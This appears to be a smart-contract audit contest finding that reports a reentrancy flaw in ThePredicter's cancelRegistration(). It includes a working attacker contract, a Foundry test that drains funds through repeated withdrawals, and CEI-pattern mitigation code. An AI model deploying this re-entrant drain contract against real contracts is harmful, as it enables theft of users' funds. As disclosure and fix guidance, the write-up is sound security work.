First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-1] Reentrancy Attack From Use of External Call (Not Following CEI Pattern) in `ThePredicter::cancelRegistration()` allows multiple withdrawals, draining contract funds

guirewire

[H-1] Reentrancy Attack From Use of External Call (Not Following CEI Pattern) in ThePredicter::cancelRegistration() allows multiple withdrawals, draining contract funds

Summary:

The cancelRegistration() function in ThePredicter.sol is vulnerable to reentrancy attacks, allowing malicious actors to withdraw funds multiple times before their status is updated.

Vulnerability Details:

The cancelRegistration() function performs an external call to transfer funds before updating the player's status - does not follow CEI pattern:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

This violates the Checks-Effects-Interactions pattern, allowing for reentrancy attacks.

Impact:

An attacker can exploit this vulnerability to withdraw funds multiple times, potentially draining the contract's entire balance. This denies legitimate users their funds and disrupts the intended functionality of the contract.

Proof of Concept:

Create MaliciousContract.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
import "../src/ThePredicter.sol";
​
contract MaliciousContract {
ThePredicter public thePredicter;
uint256 public constant TARGET_WITHDRAWALS = 5;
uint256 public withdrawalCount;
uint256 public totalWithdrawn;
​
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
​
function attack() external {
withdrawalCount = 0;
totalWithdrawn = 0;
thePredicter.cancelRegistration();
}
​
receive() external payable {
withdrawalCount++;
totalWithdrawn += msg.value;
if (withdrawalCount < TARGET_WITHDRAWALS) {
thePredicter.cancelRegistration();
}
}
}

Add this test to ThePredicter.t.sol and run forge test --mt testReentrancyAttack -vvvv in terminal.

Note: Make sure to import MaliciousContract.sol into ThePredicter.t.sol.

function testReentrancyAttack() public {
// Fund the ThePredicter contract
vm.deal(address(thePredicter), 1 ether);
// Fund and register the malicious contract
vm.deal(address(maliciousContract), ENTRANCE_FEE);
vm.prank(address(maliciousContract));
thePredicter.register{value: ENTRANCE_FEE}();
// Perform the attack
maliciousContract.attack();
// Assert multiple withdrawals
assertEq(maliciousContract.withdrawalCount(), 5, "Malicious contract should have withdrawn exactly 5 times");
}

This test demonstrates that an attacker can withdraw funds 5 times instead of the intended single withdrawal. So based off this test, withdrawing multiple times, a malicious user can drain the funds from the contract.

Tools Used:

Manual review, Unit test, AI (Claude 3.5) for troubleshooting

Recommended Mitigation:

Implement the Checks-Effects-Interactions pattern in the cancelRegistration() function:

function cancelRegistration() public {
// Check
if (playersStatus[msg.sender] != Status.Pending) {
revert ThePredicter__NotEligibleForWithdraw();
}
// Effect
uint256 refundAmount = entranceFee;
playersStatus[msg.sender] = Status.Canceled;
// Interaction
(bool success,) = msg.sender.call{value: refundAmount}("");
require(success, "Failed to withdraw");
}

  • Additionally, consider implementing a reentrancy guard using OpenZeppelin's ReentrancyGuard contract for added security.

To further improve this function, it would be a great idea to add a check for zero address on msg.sender, in addition to emitting an event when a registration is cancelled.

Further Proposed Updates to Function After Implementing Correct CEI Pattern:

+ event RegistrationCancelled(address indexed player, uint256 refundAmount);
​
function cancelRegistration() public {
+ // Check: Ensure msg.sender is not the zero address
+ require(msg.sender != address(0), "ThePredicter: Invalid address");
​
// Check
if (playersStatus[msg.sender] != Status.Pending) {
revert ThePredicter__NotEligibleForWithdraw();
}
// Effect
uint256 refundAmount = entranceFee;
playersStatus[msg.sender] = Status.Canceled;
+ // Emit event for registration cancellation
+ emit RegistrationCancelled(msg.sender, refundAmount);
​
// Interaction
(bool success,) = msg.sender.call{value: refundAmount}("");
require(success, "ThePredicter: Refund transfer failed");
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.